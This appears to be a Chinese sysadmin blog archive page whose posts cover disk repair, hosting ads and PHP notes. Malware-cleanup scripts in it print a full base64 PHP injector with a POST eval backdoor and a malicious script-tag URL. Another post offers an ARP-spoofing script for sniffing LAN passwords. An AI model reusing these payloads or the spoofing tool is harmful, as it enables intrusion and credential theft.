LINUXQQ

七月 30, 2010

centos 硬盘损坏导致无法启动

类归于: 乱7八糟 — admin @ 4:22 下午

 centos无法启动当服务器多次非正常关机或者硬盘出现坏道的时候,会导致系统无法正常启动,并提示输入root用户密码进入文件系统修复模式或者按Ctrl+D重新启动系统。

  一般的,当文件系统没有被正常的卸载系统就断电,那么系统将会记录这一信息,并在启动的时候自动检查文件结构,另外,ext3文件格式规定,即使文件系统被正常的挂载和卸载,当次数操作20次的时候,系统也会强行的对文件系统进行一次检查。这些检查一般可以正常的通过,只是检查的时间会根据文件数量的多少而不等,正常的情况下,一次文件检查的时间可能超过10分钟。请耐心等待,千万不要在这个时候强行重新启动机器,那将会对文件系统造成更大的破坏。

  这个时候具体的有两种可能:

  系统进入正常,运行到 ecofe2 login:

  使用root用户登陆进,然后

  umount /dev/hdb1
  fsck.ext3 /dev/hdb1

  这时候再检查文件和修复文件系统,这些检查一般可以正常的通过,只是检查的时间会根据文件数量的多少而不等,正常的情况下,一次文件检查的时间可能超过10分钟。请耐心等待,千万不要在这个时候强行重新启动机器,那将会对文件系统造成更大的破坏。

  完成后,在检查hdc1:

  umount /dev/hdc1
  fsck.ext3 /dev/hdc1

  2、 如果自动文件系统检查无法通过,则系统会提示需要进入文件系统修复模式进行手动的文件检查或者按Ctrl+D重新启动计算机。这个时候,请输入root用户的密码,系统将引导进文件系统修复模式。此时,请按照系统的提示,对无法完成自动检查的硬盘分区进行手动文件系统检查,例如系统提示/dev/hdc1 无法完成自动检查,则请输入:

  fsck.ext3 /dev/hdc1

  然后耐心等待文件系统检查完成,再输入exit 重新启动计算机,就可以了。如果系统提示文件系统已经挂载,是否强行执行检查,这个时候,请选择N,手动将文件分区umount再执行fsck命令。

  有些情况下,文件系统破坏十分严重,已经无法修复,在执行文件系统检查的时候,会持续性的报错,那么,就不必再检查下去了,因为即使检查完成,最后数据将全部到 lost+found里面,数据无法恢复,全部丢失。碰到这种情况,则请直接拷贝硬盘。以解决时间。

  如果硬盘出现坏道,则可能会导致系统死机,内核会在屏幕上告警,提示DMA错误,或者直接停止响应,键盘灯将持续闪烁。这种情况则请根据提示更换硬盘。

  最主要是把数据拿出来 先把硬盘取出来挂到WINDOWS底下 用能读取的LINUX格式的工具 先把数据拷贝出来 或者说用LINUX挂载LINUX分区 如果认不出来 切记不要乱动 否则会导致硬盘数据彻底丢失

学好LINUX的要求

类归于: 乱7八糟 — admin @ 3:56 下午

   LINUX入门很简单,学深了很难,先说下每步该学习什么

LINUX基础篇

 1,基础命令 这个我想大家都知道 简单的服务 SAMBA ,apache

2,深层次的肯定是要学学路由交换的配置,没说你一定要考CCNP,但至少会配置个IP OSI7层的原理,丢包.

3,PHP的语法你必须要看的懂,当然没说需要你一定要会写,但至少会改别人的代码。类,接口,模板 这些必须的

LINUX 中级篇

1,精通LINUX下命令,懂得常见问题发生的所在,会配置LINUX下集群,WEB,mysql优化负载

2,熟悉大概每种交换机的命令,如果你熟悉了,那随便拿一种交换机你知道原理 只不过命令不同而已,所以配置起来也不会很慢 对吧?最起码知道怎么解决常见不的通问题

3,熟悉PHP框架,懂得SEO优化,如果你不熟悉PHP 那WEB 你也不会做的太好,你熟悉了PHP,JAVA自然也就大概看的懂

LINUX高级篇

1,会编译LINUX内核升级内核,会用C写LINUX下终端代码

2,考过CCNP,知道如何配置环网路由,IDC机房大网调试

3,会写PHP+JS

以上看的确很难 而且很多人认为我会没这么多经历 但是你搞定了上面这些 你会非常的强大

七月 26, 2010

ups智能电源(idchelper.com)

类归于: 乱7八糟 — 标签: — admin @ 7:33 下午

插座、PDURPDU(远程电源管理器)由您选择

为网络机房选择最佳的电源设备

 

说起电源设备想必大家都很了解,它就是个单纯的电力分配单元,需要说明的是这里说的电源设备是指人们所说的“插线板”。可以说是我们日常生活中不可缺少的用电设备,在它的身上担负着及大安全责任。电源设备的挑选是绝不可忽视的问题,尤其是对于一些大规模的用电企业,例如:数据中心。

 

由于电源设备成为人们日常用电必不可少的设备,或者也许是因为ups智能电源的使用太为普遍化,所以使得大多人往往忽略ups智能电源的安全与适用范围。

 

不同的电源设备适用的范围是及其不同的,这和该设备所支持的功率和最大承受的负载限制有关。比如说像IDC机房等大规模的用电场所,仍然使用我们民用的普通电源设备,这未免有些不适用。普通民用电源设备虽然使用范围广,但普通电源设备一般用于家用。电源线相对较细。要知道像数据中心这样的用电大户是要有专业的用电标准的,无论是从安全的角度还从用电标准的角度出发,是绝对不可以使用普通民用电源设备的。

 

一些机房之所以选择民用的普通电源设备,价格是主要因素之一。的确普通电源设备在价格方面是占据了一定优势,要比传统PDU的价格低廉了很多,这迫使一些机房运维人员,在PDU的选择方面不愿意花昂贵的价格来购买传统PDU电源,而是以民用插座代替。

 

所谓传统PDU是一个电源分配单元,起着关联机房内所有昂贵设备正常运转的作用,技术含量和电气指标都要求很高。不过传统PDU的功能未免有些单一化了,这或许也是一些机房运维人员不愿购买传统PDU的一个因素吧。

 

如果为传统PDU赋予智能的特性,使PDU不仅有较高的安全性,而且还可以对您的用电设备,特别是服务器进行远程的管理与监控,包括对服务器实施远程地开、关以及重启操作。如此一来只需通过web页面访问就可以直观地查看、管理和控制网络环境内任意控制器上的任意受控端口所连接设备的电源状况,从而实现远程重启。这就是最近深受IDC机房以及相业内人士所青睐的RPDU,又叫网络(远程)电源管理器。

 

相信从事与服务器的工作有关的您,都会被用电设备的死机或宕机现象所困扰,笔者的一些朋友也是从事于服务器托管工作的,他们常常会被上述现象所困扰。据了解当接到用户的服务器重启请求时,首先要查到该服务器所在的机柜位置,然后进入充满辐射的、面积很大的机房,有时可能还要小心绕过机房内密密麻麻的线缆,这一系列的重启工作就好像连环套,每个环节都不可掉以轻心,这样才完成这一简单的重启工作。 然而在某些时候从放下电话就马不停蹄办事,最终还是不能让他们的客户满意。

 

RPDU的出现就可以很好的缓解这一状况的发生,可实现异地远程重启的操作,省去管理员因为重启而浪费的时间和人力以及服务器和PC宕机时间延长产生的损失,提高网络运行效率,

 

另外RPDU的远程集中管理平台“Power Deluxe”,可以通过此平台实现对机房的无人值守式管理,包括对用电设备的电流、电压、温湿度以及对服务器的各种网络服务进行时时的监控,而且当用电设备发生故障时,独特的报警方式可以第一时间通知用户。这是一个很不错的功能,从安全的方面讲,人人都希望随时知晓自己的用电设备的安全状况,RPDU正好帮大家如愿以偿,相当于为我们的用电设备聘请了一位24小时的贴身“保姆”。能够帮助大多数用电客户解决更多的问题也是傲视恒安公司长久的愿望。

 

 

智能电源ups(idchelper.com)总部电话:010-88587556

四月 23, 2010

linux php 清除挂马

类归于: 乱7八糟 — 标签: — admin @ 3:38 下午

<?php 
function parAllFiles($d) 

        $dh = dir($d);
  $r_str = “<?php eval(base64_decode(‘aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2M4Jykpe2Z1bmN0aW9uIGdjOCgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0Rvdkx6ZzRPQzVzYVcxbGQyVmljeTVqYjIwdmJXMWpMM2R3TFdKc2IyY3RhR1ZoWkdWeUxuQm9jQ0ErUEM5elkzSnBjSFErJyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRzO3JldHVybiRzO31mdW5jdGlvbiBnYzgyKCRhLCRiLCRjLCRkKXtnbG9iYWwkZ2M4MTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkZ2M4MSkpY2FsbF91c2VyX2Z1bmMoJGdjODEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J2djOCcpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ2djOCcpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRnYzhsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdnYzgyJykpIT0nZ2M4MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7′)); ?>”; 
        while($filename = $dh->read() ) 
        {       $i=0;
                if($filename==’.’ || $filename==’..’ || $filename == ‘test.php’) continue; 
                $tfile = $d.’/’.$filename; 
    
                if(is_dir($tfile)) 
                { 
                       
                       parAllFiles($tfile); 
                } 
                else 
                { 
                        if(!ereg(“\.php”, $tfile)) continue; 
                        $bd = file_get_contents($tfile); 
                        if(eregi(“eval\(“,$bd)) 
                        { 
                               $tmp =str_replace($r_str, “”, $bd);
          //echo “<li>”.$tmp;
        file_put_contents($tfile, $tmp);
          echo OK!;
         
                        } 
                } 
        } 

 

 

parAllFiles(dirname(__FILE__)); 

 

?> 

三月 9, 2010

子网掩码对照表

类归于: 乱7八糟 — admin @ 11:18 上午

1.掩码255.0.0.0/8(A类地址默认掩码)
2.掩码255.128.0.0/9
3.掩码255.192.0.0/10
4.掩码255.224.0.0/11
5.掩码255.240.0.0/12
6.掩码255.248.0.0/13

7.掩码255.252.0.0/14
8.掩码255.254.0.0/15
9.掩码255.255.0.0/16(B类地址默认掩码)
10.掩码255.255.128.0/17
11.掩码255.255.192.0/18
12.掩码255.255.224.0/19
13.掩码255.255.240.0/20
14.掩码255.255.248.0/21
15.掩码255.255.252.0/22
16.掩码255.255.254.0/23
17.掩码255.255.255.0/24(C类地址默认掩码)
18.掩码255.255.255.128/25
19.掩码255.255.255.192/26
20.掩码255.255.255.224/27
21.掩码255.255.255.240/28
22.掩码255.255.255.248/29
23.掩码255.255.255.252/30

一月 24, 2010

PHP中的CURL函数库

类归于: 乱7八糟 — 标签: — admin @ 1:59 下午

PHP中的CURL函数库(Client URL Library Function)

curl_close – 关闭一个curl会话
curl_copy_handle – 拷贝一个curl连接资源的所有内容和参数
curl_errno – 返回一个包含当前会话错误信息的数字编号
curl_error – 返回一个包含当前会话错误信息的字符串
curl_exec – 执行一个curl会话
curl_getinfo – 获取一个curl连接资源句柄的信息
curl_init – 初始化一个curl会话
curl_multi_add_handle – 向curl批处理会话中添加单独的curl句柄资源
curl_multi_close – 关闭一个批处理句柄资源
curl_multi_exec – 解析一个curl批处理句柄
curl_multi_getcontent – 返回获取的输出的文本流
curl_multi_info_read – 获取当前解析的curl的相关传输信息
curl_multi_init – 初始化一个curl批处理句柄资源
curl_multi_remove_handle – 移除curl批处理句柄资源中的某个句柄资源
curl_multi_select – Get all the sockets associated with the cURL extension, which can then be “selected”
curl_setopt_array – 以数组的形式为一个curl设置会话参数
curl_setopt – 为一个curl设置会话参数
curl_version – 获取curl相关的版本信息

curl_init()函数的作用初始化一个curl会话,curl_init()函数唯一的一个参数是可选的,表示一个url地址。
curl_exec()函数的作用是执行一个curl会话,唯一的参数是curl_init()函数返回的句柄。
curl_close()函数的作用是关闭一个curl会话,唯一的参数是curl_init()函数返回的句柄。

 

东四IDC联通机房托管

类归于: 乱7八糟 — 标签: — admin @ 1:57 下午

名称】:东四IDC机房【地址】:东城区东四南大街164号
【简介】:东四IDC机房位于东四南大街与金宝街十字路口东北,地理位置十分优越,地处北京最为繁华的商业地带。它近邻长安街,凭借优越的地理位置,为客户提供快捷、高质量的服务。它是国内领先的具有国际一流标准的数据中心,拥有高速的光纤线路、完备的网络环境以及专业化的网络管理技术。拥有世界一流的设施、丰富的电信资源、运营经验和先进的网络设备,在为您提供高质量的IT服务的同时为您节省了时间和成本。
  东四IDC机房面积约1000平米,地处主机房楼。为客户提供开放式机架托管服务,电信级高端路由器双归上联,单链路负荷不超过50%,网络接入设备双机热备连接网络核心节点。双路市电接入2+1备份双总线UPS系统,柴油发电机后备保障。机房地板承重大于600kg/㎡,抗震烈度大于8级,梁下高度大于4.5m。机房环境温度22±2℃,湿度30~70%。7×24网络技术支持及安消防服务。
  交通:地铁5号线灯市口站。
中国联通东四IDC机房是北京市分公司投资建设的互联网数据中心。2008年底建成,2009年起提供服务,是目前全国最大的数据中心,具有高可靠性和高安全性。数据中心通过向客户提供网络带宽和机房环境的租用服务,为政府、企业、应用服务提供商、内容服务提供商、系统集成商、ISP等提供大规模、高质量、安全可靠的服务器托管服务。
1.机房的场地保障
  为给用户提供充裕的空间放置服务器及网络设备,使用电信级标准服务器机架为用户提供服务(机架宽度23英寸)。机房承重符合电信机房承重设计要求,整体抗地震级别达8级,可供用户放置一些特型设备。机房;总面积达800㎡;共有264个机架;承重: 650kg/㎡;层高: 3.5m;整体内部装饰为无吊顶;地面采用抗静电地板;强弱电桥架呈梳状结构上走线的方式。
  机房共分为四个区域:大客户区、增值区、中型客户区和小客户区。
3.网络保障
  东四IDC数据中心为适应不同用户对不同网络访问量的不同需求,采用两条2.5G光纤链路连接到Internet,目前连接到中国联通、中国电信的出口带宽均已开通1200M。各条链路均采用BGP4收取路由,并进行相应的策略设置,保证用户访问不同网络的访问速度,解决了其他ISP出口受中国联通和中国电信互连带宽瓶颈及访问国际网站的限制;同时各条出口互为备份,在其中1条链路出现故障的时候,所有流量通过其他链路出入,不会出现单链路故障,提高了可靠性。
  高速Internet接入、冗余的网络和带宽管理系统保证接入带宽可根据用户流量的需求随时扩充,充分满足用户日益增长的网络应用。
4.电力保障
  数据中心设有专用的变电站,电源分三路从发电厂输送到变电站;为保障分配给用户的电力不间断的供应,数据中心电力机房安装了智能UPS系统及容量充足的电池,可以保证持续供电;配电系统的敷设方式为通过机柜上方的开放式桥架走线,每机柜的电缆线径不小于4mm。此外,数据中心还配备柴油发电机组,当电力中断时使用,可为用户提供99.99%的电力供应保障。
  市电保障:30000KVA二路市电;高压供电来自两个不同开闭站的纯双路系统;机柜内插座排提供带卡紧装置的20位欧标插座,其最大承载电流为13A。
  UPS保障:两组独立超大功率电信机房专用UPS双路(N+1)供电,电池持续供电时间不短于4小时。
  后备柴油发电机组:2组全国IDC中发电功率最大的2250KVA柴油发电机组阵列备份,总功率4500KVA,在二路市电同时意外断开30秒之内自动切换。
5.安全保障
  数据中心大楼有7*24小时的专业保安人员,用户进入机房时,需登记或持有通行卡方可入内。
  为了保证用户的托管设备安全,数据中心具有电视监控及出入机房控制系统,达到整个楼层没有监视盲区;电视墙监控系统有专人7*24小时值守,所有录像保存3个月以上;出入机房门禁系统采用先进的数据库管理,用户身份卡内保存有持卡人编号,进出区域限制,时间限制等,只有经过特殊授权的人员才能进入重要区域。
6.消防保障
  IDC机房采用激光主动式早期火灾预警及灭火系统,数据中心机房采用防火构架及材料,消防能力符合电信级标准,备有多个紧急通道;机房及楼道内安装温度烟雾感应消防系统,防火报警探测头,遇火情时系统自动报警,并启动FM200惰性气体灭火系统灭火。此外,机房内还可另外配备手提式、推车式灭火器。
7.技术支持保障
  数据中心专业工程师7*24小时待命,为用户提供设备、线路等问题的技术支持;协助用户完成安装设备、布放网络线路、网络监控等工作。
售后优势:
1、 我们的机房为7*24小时全天候专业工程师服务,负责重启、监控等工作。
  2、 我们的监控是全国性的,也就是在广州,北京,山西,江苏等地都设有专门 监控设备同时进行,这样更能提早发现问题并处理。
  3、 我们会为客户每月出故障等相关报告。
  4、 我们的服务为主动贴心服务,就是先于客户发现问题,并及时解决。
因为专注,所以专业,期待和贵公司真诚的合作!

联系电话:13811648428
联系QQ:401114644
联系人:李扬

注:
本公司承接windows,linux服务器集群,网格环境搭建,清除服务器入侵威胁,欢迎来电咨询

十一月 28, 2009

linux arp工具+脚本

类归于: 乱7八糟 — admin @ 3:28 下午

对LINUX下所用的arp欺骗工具+自己写的脚本,由于在安装工具方便问题多多比较困难,所以发布该脚本.

    该脚本针对centos4.0/5.0 redhat 4.0/5.0  经测试可以抓出局域网SSH,FTP,PHPMYADMIN密码

 下载地址

网上有很多相关的资料 可以搜索下arpspoof

以下是自己写的对内网某ip限速脚本,此工具强大,强制突破360arp防火墙.

#!/bin/bash
Gateway=192.168.1.1
FILE=/usr/local/test
nmap 192.168.1.0/24 | grep -10 00:1A:A1:28:38:7F | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ >$FILE
if [ $? -eq 0 ]
then
{
read pig
} <$FILE
else
echo “Pigs not only on line”
fi
arpspoof -t &Gateway $pig

 

 grep -10 00:1A:A1:28:38:7F 这段MAC地址是你要限速的MAC地址,根据MAX欺骗

作者linux qq

转载http://www.linuxqq.com/a/zy/2009/1122/589.html

十一月 15, 2009

清除木马下所有PHP木马脚本

类归于: 乱7八糟 — admin @ 12:07 下午

#!/bin/sh

if [ $# -gt 1  ]; then
    echo “Usage: $0 [FileName]”
    exit 1
elif [ $# -eq 1 ]; then
    MY_FILE=$1
else
    MY_FILE=$0
fi

if [ ! -f $MY_FILE ]; then
    echo “$MY_FILE does not exist!”
    exit 2
fi

MY_LINE_NO=1
while read MY_LINE
do
  perl -pi -e ’s|<script src=http:\/\/vanbeurden-porsche.be\/library\/index.php ><\/script>| |g’ $MY_LINE
done < $MY_FILE

先使用 find . /-name >123 然后./shell.sh 123

<script src=http:\/\/vanbeurden-porsche.be\/library\/index.php ><\/script>

这句是木马 里面的反斜杠转义的意思

十月 12, 2009

centos 5 S5000VSA lsi raid 1 安装方法

类归于: 乱7八糟 — admin @ 12:29 下午

   驱动找了好久死活不对。阅读了官网的说明:按以下步骤

 开机创建RAID1

 光盘引导:输入linux nostorage

 会出现 DONE 和ADD DRIVCE

 选择ADD DRIVER 按回车

按F2选择SDA

找到列表里面的驱动。按回车

回到上一步了DONE 和ADD DRIVER

在选择那驱动 敲回车 就开始安装了
 OK了

早前文章 »

WordPress 所驱动